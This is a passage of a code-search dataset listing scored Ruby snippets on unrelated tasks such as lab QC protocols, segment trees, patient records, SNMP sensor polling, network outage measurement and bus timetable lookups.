reading_incidences.pluck(:reading_incidence_type_id)\n end", "title": "" }, { "docid": "750b465a76502749ae86b35d6c2946f8", "score": "0.415651", "text": "def checkLengths(inputStr,lengthStr)\n ops_by_row = Hash.new { |hash, key| hash[key] = [] } # will hold Y/N length ok data\n operations.each do |op| # group by row\n ops_by_row[\"#{op.get(:qc_row)}\"].push op\n end\n ops_by_row.each do |row, ops|\n data = show do\n title \"Row #{row.to_i + 1}: verify that each lane matches expected size\"\n note \"Look at the gel image, and match bands with the lengths listed on the side of the gel image.\"\n note \"For more accurate values, select each well under <b>analyze</b> -> <b>electropherogram</b> to see peaks for fragments found with labeled lengths.\"\n note \"Select No if there is no band or band does not match expected size,\n select N/A if expected length is N/A and there is a band.\"\n ops.each do |op|\n select [\"Yes\", \"No\",\"N/A\"], \n var: \"verify[#{op.get(:qc_row)}][#{op.get(:qc_column)}]\", \n label: \"Does gel lane in column #{op.get(:qc_column) + 1} match the expected length of #{op.input(lengthStr).val} bp?\"\n end \n end \n # associate Y/N answers for row - to plan or to sample?\n ops.each do |op|\n item_id = op.input(inputStr).item.id\n op.plan.associate \"qc_result_#{item_id}_row_#{op.get(:qc_row)}column_#{op.get(:qc_column)}\", data[\"verify[#{op.get(:qc_row)}][#{op.get(:qc_column)}]\".to_sym]\n op.input(inputStr).item.associate \"qc_result_#{item_id}_row_#{op.get(:qc_row)}column_#{op.get(:qc_column)}\", data[\"verify[#{op.get(:qc_row)}][#{op.get(:qc_column)}]\".to_sym]\n end\n end\n end", "title": "" }, { "docid": "9c2205651542b50d3e17d191cbddac5f", "score": "0.41561186", "text": "def query(\n query_l, query_r, # left and right bounds of the query.\n # right inclusive.\n segment_l = 1,\n segment_r = @n_leaves,\n i = 1\n )\n if (query_l <= segment_l) && (segment_r <= query_r)\n # current segment is subsumed by the query segment.\n @internal_arr[i]\n elsif (segment_r < query_l) || (query_r < segment_l)\n # disjoint segments.\n @fallback\n else\n mid = (segment_l + segment_r) >> 1\n @func.call(\n query(\n query_l, query_r,\n segment_l, mid,\n i << 1\n ),\n query(\n query_l, query_r,\n mid + 1, segment_r,\n (i << 1) | 1\n )\n )\n end\n end", "title": "" }, { "docid": "9d66b36fae74c60cd413f1f8ca02fd7b", "score": "0.41552612", "text": "def patients\n appointments.map{|appointment| appointment.patient}.uniq\n end", "title": "" }, { "docid": "e8e27d54d2a9db897f04a9eee930d84f", "score": "0.41508573", "text": "def get_all_outypes\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/\"\n _get(path)\nend", "title": "" }, { "docid": "26b2f141f86a0539d8e3fa67ebe9262e", "score": "0.41403195", "text": "def linrec\n\t\t\trec2 = pop\n\t\t\trec1 = pop\n\t\t\t_then = pop\n\t\t\t_if = pop\n\t\t\traise ArgumentError, \"LINREC: first element is not an Array.\" unless _if.is_a? Array\n\t\t\traise ArgumentError, \"LINREC: second element is not an Array.\" unless _then.is_a? Array\n\t\t\traise ArgumentError, \"LINREC: third element is not an Array.\" unless rec1.is_a? Array\n\t\t\traise ArgumentError, \"LINREC: fourth element is not an Array.\" unless rec2.is_a? Array\n\t\t\tsave_stack\n\t\t\t~_if\n\t\t\tcondition = pop\n\t\t\trestore_stack\n\t\t\tif condition then\n\t\t\t\t~_then\n\t\t\telse\n\t\t\t\t~rec1\n\t\t\t\t[_if, _then, rec1, rec2].each {|e| push e }\n\t\t\t\tlinrec\n\t\t\t\t~rec2\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "3bccb55e8187f998109381920898a13a", "score": "0.4138934", "text": "def conference_types\n # Get the easy stuff done first\n\n return ['XC'] if (record['008'] && (record['008'].value[29] == '1')) || record.fields(['111', '711', '811']).size > 0\n\n if (bib_format == 'CF')\n @record.fields('006').map{|f| f.value}.each do |f|\n return ['XC'] if %w[a s].include?(f[0]) && (f[12] == '1')\n end\n end\n\n if (bib_format == 'MU') && record['008'] &&\n (record['008'].value[30..31] =~ /c/)\n return ['XC']\n end\n\n return ['XC'] if @xv6XX.match? /congresses/i\n\n # Nope.\n return []\n end", "title": "" }, { "docid": "1864bff68c44c3a2d75255fe8c5ace52", "score": "0.41388673", "text": "def subSeq(seq, step)\n if step < 1 || step > seq.length\n return []\n elsif step == seq.length\n return [seq]\n elsif step < seq.length\n \n @subs = []\n i = 0\n n = seq.length/step\n n += seq.length%step\n # puts \"#{n} \\n\"\n\n while i < n\n x = seq[i..(i+(step -1))]\n# puts \"#{x} \"\n @subs.push(x)\n i += 1\n end\n\n # puts \"#{@subs}\\n\"\n return @subs\n end\n\n end", "title": "" }, { "docid": "c2ac6d1dd16177e28bd15a14d5e1328c", "score": "0.41369435", "text": "def current_diagnoses(patient_id)\n patient = Patient.find(patient_id)\n patient.encounters.current.includes([:observations]).map{|encounter|\n encounter.observations.where([\"obs.concept_id = ? OR obs.concept_id = ?\",\n ConceptName.find_by_name(\"DIAGNOSIS\").concept_id,\n ConceptName.find_by_name(\"DIAGNOSIS, NON-CODED\").concept_id])\n }.flatten.compact\n end", "title": "" }, { "docid": "cfcb0b3818e1f754465c2cf197116696", "score": "0.4133254", "text": "def read_from_input_volume(iInputData, iIdxBeginSample, iIdxEndSample, iInterval, iRMSRatio)\n @Function = {\n :FunctionType => FCTTYPE_PIECEWISE_LINEAR,\n :Points => []\n }\n # Profile\n prepareVolumeUtils\n lIdxCurrentSample = iIdxBeginSample\n while (lIdxCurrentSample <= iIdxEndSample)\n lIdxCurrentEndSample = lIdxCurrentSample + iInterval - 1\n if (lIdxCurrentEndSample > iIdxEndSample)\n lIdxCurrentEndSample = iIdxEndSample\n end\n lRawBuffer = ''\n iInputData.each_raw_buffer(lIdxCurrentSample, lIdxCurrentEndSample, :nbr_samples_prefetch => iIdxEndSample-lIdxCurrentSample) do |iInputRawBuffer, iNbrSamples, iNbrChannels|\n lRawBuffer += iInputRawBuffer\n end\n # Profile this buffer\n lChannelLevelValues = @VolumeUtils.measureLevel(lRawBuffer, iInputData.Header.NbrBitsPerSample, iInputData.Header.NbrChannels, lIdxCurrentEndSample - lIdxCurrentSample + 1, iRMSRatio)\n # Combine the channel levels based on the RMS ratio also\n lMaxValue = Rational(0, 1)\n lRMSValue = Rational(0, 1)\n lChannelLevelValues.each do |iLevelValue|\n if (iLevelValue > lMaxValue)\n lMaxValue = iLevelValue\n end\n lRMSValue += iLevelValue*iLevelValue\n end\n lRMSValue = Math.sqrt(lRMSValue/lChannelLevelValues.size).to_r\n lLevelValue = lRMSValue*(iRMSRatio.to_r) + lMaxValue*(Rational(1)-iRMSRatio.to_r)\n #log_debug \"[#{lIdxCurrentSample} - #{lIdxCurrentEndSample}] - Level: #{lLevelValue}\"\n # If intervals are of length 1, the function is exactly the profile: no need to make intermediate points\n if (lIdxCurrentEndSample == lIdxCurrentSample)\n @Function[:Points] << [ Rational(lIdxCurrentSample), lLevelValue]\n lIdxCurrentSample += 1\n else\n # Complete the function\n if (@Function[:Points].empty?)\n # First points: add also the point 0\n @Function[:Points] = [ [ Rational(0, 1), lLevelValue] ]\n end\n # Add a point to the function in the middle of this interval\n lPointX = lIdxCurrentSample - iIdxBeginSample + Rational(lIdxCurrentEndSample - lIdxCurrentSample + 1, 2)\n @Function[:Points] << [lPointX, lLevelValue]\n # Increment the cursor\n lIdxCurrentSample = lIdxCurrentEndSample + 1\n if (lIdxCurrentSample == iIdxEndSample + 1)\n # The last point: add the ending one\n @Function[:Points] << [Rational(iIdxEndSample - iIdxBeginSample, 1), lLevelValue]\n end\n end\n $stdout.write(\"#{(lIdxCurrentSample*100)/(iIdxEndSample - iIdxBeginSample + 1)} %\\015\")\n $stdout.flush\n end\n optimize\n end", "title": "" }, { "docid": "e0a8e4b79d734b19f1d125dfad74d31f", "score": "0.41330096", "text": "def populate_final_array(old_array,final_array,dx='RX')\n old_array.each do |lines|\n lines.scan(/\\A\\s+#{dx.upcase} packets.*(overruns:[0-9]+)/).to_s.scan(/\\d+/).each do |line|\n final_array.push line\n end\n end\n end", "title": "" }, { "docid": "2e6d6565fbb7cb0b6c2121f4f682c803", "score": "0.41252184", "text": "def segments(progress = nil)\n @options[:split_across] ? segments_across(progress) :\n segments_within(progress)\n end", "title": "" }, { "docid": "1715028665bf5e79273645b988626122", "score": "0.41249457", "text": "def patient_in_numerator\n Patient.find(gather_patient_ids).keep_if do |p|\n p.patient_relevant?(measures.pluck(:_id), ['NUMER'])\n end.pluck(:_id)\n end", "title": "" }, { "docid": "02dccc11f06f28e21c2a7e6664f2f30a", "score": "0.41219842", "text": "def solution(s, p, q)\n result = []\n\n (0..p.size-1).each do |idx|\n buff = s[p[idx]..q[idx]]\n if buff.index('A')\n result << 1\n elsif buff.index('C')\n result << 2\n elsif buff.index('G')\n result << 3\n else\n result << 4\n end\n end\n\n return result\nend", "title": "" }, { "docid": "329ea7c8f99c183fe5aebcc9af497a8e", "score": "0.4121129", "text": "def get_tlvs(type)\n\t\tif (type == TLV_TYPE_ANY)\n\t\t\treturn self.tlvs\n\t\telse\n\t\t\ttype_tlvs = []\n\n\t\t\tself.tlvs.each() { |tlv|\n\t\t\t\tif (tlv.type?(type))\n\t\t\t\t\ttype_tlvs << tlv\n\t\t\t\tend\n\t\t\t}\n\n\t\t\treturn type_tlvs\n\t\tend\n\tend", "title": "" }, { "docid": "329ea7c8f99c183fe5aebcc9af497a8e", "score": "0.4121129", "text": "def get_tlvs(type)\n\t\tif (type == TLV_TYPE_ANY)\n\t\t\treturn self.tlvs\n\t\telse\n\t\t\ttype_tlvs = []\n\n\t\t\tself.tlvs.each() { |tlv|\n\t\t\t\tif (tlv.type?(type))\n\t\t\t\t\ttype_tlvs << tlv\n\t\t\t\tend\n\t\t\t}\n\n\t\t\treturn type_tlvs\n\t\tend\n\tend", "title": "" }, { "docid": "4c984b81ff13ae4129e9dddbe68b2b0b", "score": "0.41152066", "text": "def get_cl(dram_freq, dram_timings)\n tCK = 1000.0 / dram_freq\n dram_timings[:tCK].each {|v| return v[1] if v[0] <= tCK }\nend", "title": "" }, { "docid": "222ea28d3776c2fc1226dfb2c5360ab9", "score": "0.41145426", "text": "def query\n process_switch(@oid) do |oid,value|\n case oid.to_str\n when @oid[0]; @txt_result += value.gsub(/;/,\"\\n\")\n \n when @oid[1]; @txt_result += \"Temperature Sensor 1 #{value.to_s} C \" + set_status(value.to_f, 60.0, 80.0) \n when @oid[2]; @txt_result += \"Temperature Sensor 2 #{value} C \" + set_status(value.to_f, 60.0, 80.0) \n when @oid[3]; @txt_result += \"Temperature Sensor 3 #{value} C Fan Ctl\\n\" #Fan Ctl, has no limits we care about\n when @oid[4]; @txt_result += \"Temperature Sensor 4 #{value} C Fan Ctl\\n\" #Fan Ctl, has no limits we care about\n when @oid[5]; @txt_result += \"Temperature Sensor 5 #{value} C Fan Ctl\\n\" #Fan Ctl, has no limits we care about\n when @oid[6]; @txt_result += \"Temperature Sensor 6 #{value} C \" + set_status(value.to_f, 100.0, 120.0) \n when @oid[7]; @txt_result += \"Temperature Sensor 7 #{value} C \" + set_status(value.to_f, 100.0, 120.0) \n when @oid[8]; @txt_result += \"Temperature Sensor 8 #{value} C \" + set_status(value.to_f, 100.0, 120.0) \n when @oid[9]; @txt_result += \"Temperature Sensor 9 #{value} C \" + set_status(value.to_f, 100.0, 120.0) \n when @oid[10]; @txt_result += \"Temperature Sensor 10 #{value} C \" + set_status(value.to_f, 100.0, 120.0) \n when @oid[11]; @txt_result += \"Temperature Sensor 11 #{value} C \" + set_status(value.to_f, 100.0, 120.0) \n\n when @oid[12]; @txt_result += \"Fan 1 RPM #{value} \" + set_fan_status(value.to_i) #Not present in our switches\n when @oid[13]; @txt_result += \"Fan 2 RPM #{value} \" + set_fan_status(value.to_i) #Not present in our switches\n when @oid[14]; @txt_result += \"Fan 3 RPM #{value} \" + set_fan_status(value.to_i) \n when @oid[15]; @txt_result += \"Fan 4 RPM #{value} \" + set_fan_status(value.to_i) \n when @oid[16]; @txt_result += \"Fan 5 RPM #{value} \" + set_fan_status(value.to_i) \n when @oid[17]; @txt_result += \"Fan 6 RPM #{value} \" + set_fan_status(value.to_i) \n when @oid[18]; @txt_result += \"Fan 7 RPM #{value} \" + set_fan_status(value.to_i) \n when @oid[19]; @txt_result += \"Fan 8 RPM #{value} \" + set_fan_status(value.to_i) \n\n when @oid[20]; @txt_result += ( value == '0' ? \"PowerSupply1: Off\\n\" : (value == '1' ? \"PowerSupply1: On\\n\" : \"PowerSupply1: Missing\\n\") ); @status_as_int = 3 if value == '0'\n when @oid[21]; @txt_result += ( value == '0' ? \"PowerSupply2: Off\\n\" : (value == '1' ? \"PowerSupply2: On\\n\" : \"PowerSupply2: Missing\\n\") ); @status_as_int = 3 if value == '0'\n \n when @oid[22]; @txt_result += ( value == '1' ? \"Have Panic Dump in Flash\\n\" : \"\" ); @status_as_int = 2 if value == '1' && @status_as_int != 3\n else STDERR.puts \"Unknown OID '#{oid}' '#{value}'\"\n end\n end\n \n @status = calc_status\n end", "title": "" }, { "docid": "9cdcab8c9d56159d3e124aa143c9a2ac", "score": "0.4113612", "text": "def sensors\n result = []\n ['f','r',nil,'l'].each do |d|\n if !d\n result << nil\n next\n end\n ny, nx = near_xy(d)\n result << @labirint[ny][nx]\n end\n result\n end", "title": "" }, { "docid": "83b9d46ec2fcd54c800ddf19c1f96e42", "score": "0.41111368", "text": "def patients\r\n appointments.map { |s|s.patient }\r\n end", "title": "" }, { "docid": "291798671a6f70fbfbd2aab0844f17ef", "score": "0.4110333", "text": "def attendTest_no_show_imaging(patient)\n yield [] if @state[IAPPOINTMENTREQUESTED].any? {|terms| terms.size == 2 and terms[0] == patient and state(PATIENT, patient) and state(RADIOLOGIST, terms[1]) and not state(IAPPOINTMENTKEPT, patient, terms[1])}\nend", "title": "" }, { "docid": "4d429d39c355d764deeb44688cbecf72", "score": "0.410763", "text": "def head\n self.segments.to_a.find{|t| t.nominal}\n end", "title": "" }, { "docid": "67baae904160f799ee52fe49c58e8588", "score": "0.4106225", "text": "def prepLoadSamples(inputStr, sampleTypes)\n \n # reformat input stripwells, associate positions on analyzer 96-well tray\n stripwells = operations.map { |op| op.input(inputStr).collection }.uniq\n \n case sampleTypes\n when 'DNA'\n # associate row, col for each sample\n operations.each_with_index do |op, i|\n op.associate :qc_row, (i/WELLS_PER_STRIPWELL.to_f).floor\n op.associate :qc_column, i % WELLS_PER_STRIPWELL\n #op.plan.associate \"qc_row_and_column_#{op.input(inputStr).sample.id}\", \"Your QC result for #{op.input(inputStr).sample.id} is in row #{op.get(:qc_row)} and column #{op.get(:qc_column)}\"\n end\n num_samples = 0\n \n show do \n title \"Relabel stripwells for stripwell rack arrangement\"\n note \"Place the stripwells in a green stripwell rack.\"\n note \"To wipe off old labels, use ethanol on a Kimwipe.\"\n warning \"Please follow each step carefully.\"\n # new label for each well\n stripwells.each_with_index do |s, i|\n num_samples = num_samples + s.num_samples\n note \"Grab stripwell #{s} (#{s.num_samples} wells). Wipe off the current ID. Label the first well <b>#{i+1}</b>\"\n end\n end\n \n rows = (num_samples/WELLS_PER_STRIPWELL.to_f).ceil\n # samples are sucked up as entire strips, so need to fill empty wells in last row with EB (techs have aliquots)\n eb_wells = rows*WELLS_PER_STRIPWELL - num_samples\n \n show do \n title \"Prepare EB stripwells\"\n note \"Make a stripwell of #{eb_wells} wells, pipette <b>10 uL</b> of <b>EB buffer</b> into each of its wells\"\n note \"Label the 1st well <b>#{stripwells.size+1}</b>\"\n end\n \n show do \n title \"Uncap stripwells\"\n note \"Uncap the stripwells and make sure there are no air bubbles\"\n end\n \n show do \n title \"Remove empty wells\"\n note \"Remove all empty wells from the stripwells\"\n note \"The size(s) of the stripwell(s) should be: \"\n stripwells.each_with_index do |s, i|\n note \"<b>Stripwell #{i+1}:</b> #{s.num_samples} well(s)\"\n end\n note \"<b>EB:</b> #{eb_wells} well(s)\"\n end\n # arrange stripwells before loading\n show do \n title \"Arrange stripwells in holder\"\n note \"Arrange the stripwells in the green tube rack so that there is a well in each column and row.\"\n note \"Make sure to mantain the order of the stripwells, as labeled (1,2,3, etc.)\"\n end \n when 'RNA'\n # RNA QIAXcel prep before hand has empty wells filled with buffer; Make sure to direct tech to align stripwells correctly\n stripwell_to_row = Hash.new(0)\n tab = [['Stripwell ID','Row #']]\n \n stripwells.each_with_index do |s, idx| \n tab.push([s.id, idx + 1])\n stripwell_to_row[s.id] = idx\n end\n \n groupby_stripwell = operations.group_by {|op| op.input(inputStr).item.id}\n groupby_stripwell.each do |stripwell, ops|\n ops.each_with_index do |op, i| \n op.associate :qc_row, stripwell_to_row[stripwell]\n op.associate :qc_column, op.input(inputStr).column\n end\n end\n\n # Associate row, col for each sample - TODO: account for ladder in the first stripwell ie: if ladder sample type in stripwell.matrix add 1 to each column\n # operations.each_with_index do |op, i|\n # op.associate :qc_row, (op.input(inputStr).row + 1 /WELLS_PER_STRIPWELL.to_f).floor\n # op.associate :qc_column, op.input(inputStr).column % WELLS_PER_STRIPWELL\n # end\n\n show do \n title 'Aligning RNA Samples for the Fragment Analyzer'\n separator\n note \"<b>Follow the table below to align the stripwells correctly on the green tube rack.</b>\"\n table tab\n end\n num_samples = 0\n stripwells.each do |s|\n s.matrix.each do |row|\n row.each do |well| \n if well != -1\n num_samples + 1\n end\n end\n end\n end\n \n end\n # log_info 'num_samples', num_samples\n # load samples\n show do \n title \"Arrange stripwells in fragment analyzer\"\n note \"Arrange the stripwells in the fragment analyzer in the EXACT SAME ORDER as they are arranged in the green tube rack.\"\n note \"Close the lid on the machine.\"\n end\n \n #return \n num_samples\n \n end", "title": "" }, { "docid": "08b8bb15d9915c07a5e103c2672a7100", "score": "0.4103702", "text": "def pids_from_data_by_horizontal( type )\n procedures = Array.new\n\n if @db != nil\n is_ok = false\n\n begin\n if type.upcase != 'TEXT'\n stm = @db.prepare( 'SELECT DISTINCT R1.qProcId FROM qryResults As R1, qryResults As R2 WHERE R1.qTestId = R2.qTestId AND R1.qStepId = R2.qStepId AND R1.qType = ? AND R2.qType = ? AND R1.qData != R2.qData')\n else\n stm = @db.prepare( 'SELECT DISTINCT R1.qProcId FROM qryResults As R1, qryResults As R2 WHERE R1.qTestId = R2.qTestId AND R1.qStepId = R2.qStepId AND R1.qType = ? AND R2.qType = ? AND R1.qData NOT LIKE R2.qData')\n end\n\n stm.bind_params( type.to_s, type.to_s )\n rs = stm.execute\n\n rs.each do |row|\n procedures.push row['R1.qProcId']\n end\n\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an SELECT Procedure IDs by Dta Difference (Explicit Compare) error (#{e.message}).\")\n end\n end\n\n return procedures\n end", "title": "" }, { "docid": "f0d6dcf37d0647e77b5edfeb8755ac29", "score": "0.41008922", "text": "def patients\n self.appointments.map do |appointment|\n appointment.patient\n # binding.pry\n end\n # Appointments.all.select {|doc| }\n end", "title": "" }, { "docid": "d8aa78740f89f0408364cd259ef52d59", "score": "0.41001955", "text": "def gather_measurements(outage, filter_tracker)\n reverse_problem = outage.pings_towards_src.empty?\n forward_problem = (outage.spoofed_tr.nil? || !outage.spoofed_tr.reached?(outage.dst))\n\n outage.direction = @failure_analyzer.infer_direction(reverse_problem, forward_problem)\n @logger.debug { \"direction: #{outage.direction}\" }\n\n # HistoricalForwardHop objects\n outage.historical_tr, outage.historical_trace_timestamp = retrieve_historical_tr(outage.src, outage.dst)\n\n @logger.debug { \"Finding historical revtrs for #{outage.historical_tr.length} hops\" }\n outage.historical_tr.each do |hop|\n # thread out on this to make it faster? Ask Dave for a faster\n # way?\n hop.reverse_path = fetch_historical_revtr(outage.src, hop.ip)\n end\n\n outage.historical_revtr = fetch_historical_revtr(outage.src, outage.dst)\n\n @logger.debug { \"historical paths fetched\" }\n\n # maybe not accurate given multiple threads, but fukit\n tr_time = Time.new\n outage.measurement_times << [\"tr_time\", tr_time]\n outage.tr = @isolation_issuer.issue_normal_traceroutes(outage.src, outage.dst)[outage.dst]\n\n @logger.debug { \"traceroutes issued\" }\n\n ## I see empty measurements from time to time, which shouldn't happen\n if outage.tr.empty?\n @logger.warn { \"empty traceroute! #{outage.src} #{outage.dst}\" }\n restart_atd(outage.src)\n sleep 10\n tr_time2 = Time.new\n outage.tr = @isolation_issuer.issue_normal_traceroutes(outage.src, outage.dst)[outage.dst]\n if outage.tr.empty?\n @logger.warn { \"traceroute still empty! (#{outage.src}, #{outage.dst})\" } \n @node_2_failed_measurements[outage.src] += 1\n end\n end\n\n # Set to the # of times measurements were reissued. False of\n # measurements succeeded on the first attempt\n measurements_reissued = false\n\n if outage.paths_diverge?\n # path divergence!\n # reissue traceroute and spoofed traceroute until they don't\n # diverge\n measurements_reissued = 1\n\n 3.times do \n sleep 30\n outage.tr = @isolation_issuer.issue_normal_traceroutes(outage.src, outage.dst)[outage.dst]\n @isolation_issuer.issue_spoofed_traceroutes!({[outage.src,outage.dst] => outage})\n\n break if !outage.paths_diverge?\n measurements_reissued += 1\n end\n end\n\n # TODO: implement retries for symmetric traceroutes? (in an attempt to\n # fill in the gaps of the missing ground truth data)\n\n # We would like to know whether the hops on the historicalfoward/reverse/historicalreverse paths\n # are pingeable from the source.\n outage.measurement_times << [\"non-revtr pings\", Time.new]\n # Note that outage.ping_responsive() is computed on demand. The return\n # value here is only used to check if need to reissue pings\n responsive_hops, non_responsive_hops = @isolation_issuer.check_reachability!(outage)\n responsive_ips, non_responsive_ips = hops_to_uniq_ips(responsive_hops), hops_to_uniq_ips(non_responsive_hops)\n\n @logger.debug { \"non-revtr pings issued\" }\n\n ## Moar empty measurements!\n if responsive_ips.empty?\n @logger.warn { \"empty pings! (#{outage.src}, #{outage.dst} #{responsive_ips.size + non_responsive_ips.size} ips: [#{non_responsive_ips.join(\",\")}])\" }\n\n @node2emptypings[outage.src].push_empty\n restart_atd(outage.src)\n sleep 10\n responsive_hops, non_responsive_hops = @isolation_issuer.check_reachability!(outage)\n responsive_ips, non_responsive_ips = hops_to_uniq_ips(responsive_hops), hops_to_uniq_ips(non_responsive_hops)\n if responsive_ips.empty?\n @logger.warn { \"pings still empty! (#{outage.src}, #{outage.dst} #{responsive_ips.size + non_responsive_ips.size} ips: [#{non_responsive_ips.join(\",\")}])\" } \n @node_2_failed_measurements[outage.src] += 1\n @node2emptypings[outage.src].push_empty\n else\n @node2emptypings[outage.src].push_nonempty\n end\n else\n @node2emptypings[outage.src].push_nonempty\n end\n\n outage.measurement_times << [\"pings_to_nonresponsive_hops\", Time.new]\n @isolation_issuer.check_pingability_from_other_vps!(outage.connected, non_responsive_hops)\n\n @logger.debug { \"pings to non-responsive hops issued\" }\n\n if outage.direction != Direction.REVERSE and outage.direction != Direction.BOTH\n # Only issue spoofed revtrs for forward outages (since spoofed\n # revtrs take a looooong time to measure)\n outage.measurement_times << [\"revtr\", Time.new]\n outage.spoofed_revtr = issue_revtr(outage.src, outage.dst, outage.historical_tr.map { |hop| hop.ip })\n else\n # Else, just set it to an empty path\n outage.spoofed_revtr = SpoofedReversePath.new(outage.src, outage.dst)\n end\n\n @logger.debug { \"spoofed_revtr issued\" }\n\n if outage.spoofed_revtr.valid?\n # Issue pings to all hops on the spoofed revtr\n outage.measurement_times << [\"revtr pings\", Time.new]\n @isolation_issuer.check_reachbility_for_revtr!(outage)\n\n @logger.debug { \"revtr pings issued\" }\n end\n\n outage.measurement_times << [\"measurements completed\", Time.new]\n\n # Fetch wether each hop is has been pingable from at least one VP in\n # the past\n fetch_historical_pingability!(outage)\n\n @logger.debug { \"historical pingability fetched\" }\n\n # Issue ground truth measurements (forward path from dst -> src)\n if outage.symmetric\n outage.dst_tr = @isolation_issuer.issue_normal_traceroutes(outage.dst_hostname, outage.src_ip)[outage.src_ip]\n @logger.debug { \"destination's tr issued. valid?:#{outage.dst_tr.valid?}\" }\n\n splice_alternate_paths(outage)\n @logger.debug { \"alternate path splicing complete\" }\n end\n\n\t fempty = @node2emptypings[outage.src].fraction_empty\n if fempty > FailureIsolation::EmptyPingsThreshold\n @logger.info { \"scheduling #{outage.src} for swap_out\" }\n SwapFilters.empty_pings!(outage, filter_tracker)\n end\n end", "title": "" }, { "docid": "712f7dac96d49237f1091864610b2e44", "score": "0.40984765", "text": "def getPep (cds, seq)\n\nend", "title": "" }, { "docid": "f828572d13ac7836828b5166952cf802", "score": "0.40965804", "text": "def transactions\n segments = []\n batch_based_index = 0\n @checks.each_with_index do |check, index|\n @check_grouper.last_check = check\n @check = check\n @check_index = index\n @batch = check.batch\n @job = check.job\n @flag = 0 #for identify if any of the billing provider details is missing\n @eob_type = @check.eob_type\n if @check.insurance_payment_eobs.length > 1\n @eobs = get_ordered_insurance_payment_eobs(@check)\n else\n @eobs = @check.insurance_payment_eobs\n end\n @micr = @check.micr_line_information\n if @micr && @micr.payer && @facility.details[:micr_line_info]\n @payer = @micr.payer\n else\n @payer = @check.payer\n end\n @check_amount = check_amount\n @facility_output_config = if @output_configs_hash.has_key?(@job.payer_group)\n @output_configs_hash[@job.payer_group]\n else\n @output_configs_hash['Insurance']\n end\n batch_based_index += 1\n batch_based_index = 1 if new_batch?\n @batch_based_index = batch_based_index\n @is_correspndence_check = @check.correspondence?\n segments += generate_check\n #need to store the check_id\n end\n segments\n end", "title": "" }, { "docid": "6910fb5e10fdc787f35d4b67ead17ab0", "score": "0.40961564", "text": "def get_data_elements_by_type(patient, type)\n matches = []\n patient.dataElements.each do |data_element|\n matches << data_element if data_element[:_type] == type\n end\n matches\n end", "title": "" }, { "docid": "182dfce188f70b5ba91b90af5c0c7734", "score": "0.40957406", "text": "def index\n if params[:status]\n @patients = Patient.where(:status => params[:status]) unless params[:status].blank?\n elsif params[:provice]\n @patients = Patient.where(:provice => params[:provice]) unless params[:provice].blank?\n elsif params[:test_group_id]\n @patients = Patient.where(:test_group_id => params[:test_group_id]) unless params[:test_group_id].blank?\n elsif params[:city]\n @patients = Patient.where(\"city LIKE ?\", \"%#{params[:city]}%\")\n else\n @patients = Patient.all\n end\n\n @status = [[\"Isolated\", 1], [\"Asymptomatic\", 2], [\"Positive\", 3], [\"Discharged\", 4]]\n\n @provinces = [[\"Buenos Aires\", 1], [\"Catamarca\", 2], [\"Chaco\", 3], [\"Chubut\", 4], \n [\"Cordoba\", 5], [\"Corrientes\", 6], [\"Entre Rios\", 7], [\"Formosa\", 8], [\"Jujuy\", 9], \n [\"La Pampa\", 10], [\"La Rioja\", 11], [\"Mendoza\", 12], [\"Misiones\", 13], [\"Neuquen\", 14], \n [\"Rio Negro\", 15], [\"Salta\", 16], [\"San Juan\", 17], [\"San Luis\", 18], [\"Santa Cruz\", 19], \n [\"Santa Fe\", 20], [\"Santiago del Estero\", 21], [\"Tierra del Fuego\", 22], [\"Tucuman\", 23]]\n end", "title": "" }, { "docid": "8ebaba584ead1fb19ce3606e59e6bec2", "score": "0.40944493", "text": "def sideline_seg( side )\n l = nil\n case side\n when :u; l = Gseg.new_by_pos( x1y1, x2y1 )\n when :d; l = Gseg.new_by_pos( x1y2, x2y2 )\n when :l; l = Gseg.new_by_pos( x1y1, x1y2 )\n when :r; l = Gseg.new_by_pos( x2y1, x2y2 )\n else; l = nil\n end\n l\n end", "title": "" }, { "docid": "37760e9692eabc224621962befa05b4b", "score": "0.40841234", "text": "def bus_available(from_city,to_city)\n @variable = @line_id\n @buses = []\n # p \"--------Current User(#{current_user.id})---------------\"\n #freq = 7\n \n @line_id.each do |line|\n available_buses = Bus.where(route_id: line, status: true)\n # p \"--------Line Id: #{line}--Bus #{available_buses.present?}---------\"\n\n if available_buses\n\n available_buses.each do |bus|\n # p \"---------Bus#{bus.bus_timings.find_by(city: from_city.name).day_of_deperture}-City#{from_city.name}----------\"\n \n\n freq = bus.frequency\n bus_time = bus.bus_timings\n \n\n start_date = bus.start_date + (day_offset = (bus_time.find_by(city: from_city.name).day_of_deperture - 1)).day\n end_date = bus.end_date + (bus_time.find_by(city: from_city.name).day_of_deperture - 1).day\n\n # p \"-------Start #{start_date}--End #{end_date}-------\" \n\n var = start_date - freq.day\n # p \"----------var#{var}------------\"\n\n (start_date..end_date).step(freq) do |date|\n\n if (Date.today <= date) && seat_availability(bus,(date - day_offset.day))\n @buses << {\"user_id\" => current_user,\"bus_id\" => bus.id, \"date\" => date, \"start_date\" => (date - day_offset.day), \"start_time\" => bus_time.first.deperture ,\"route\" => LineColorRoute.find(line).name ,\"source\" => from_city.name.titleize, \"departure\" => bus_time.where(city: from_city.name).first.deperture,\"destination\" => to_city.name.titleize, \"arrival\" => bus_time.where(city: from_city.name).last.arrival }\n end\n \n end\n end\n end\n end\n @buses = @buses.sort_by{ |hash| hash[\"date\"]}\n end", "title": "" } ]
8e276886f79a91845d835a69d2bb35ec
Named accessors Get the value of option +element+. Returns an array of ComplexType_elementType objects. Returns +nil+ if not the option.
[ { "docid": "c48ebdeea15ad2a7dd7128cef621c539", "score": "0.0", "text": "def element\n (0 == @_index) ? @_value : nil\n end", "title": "" } ]
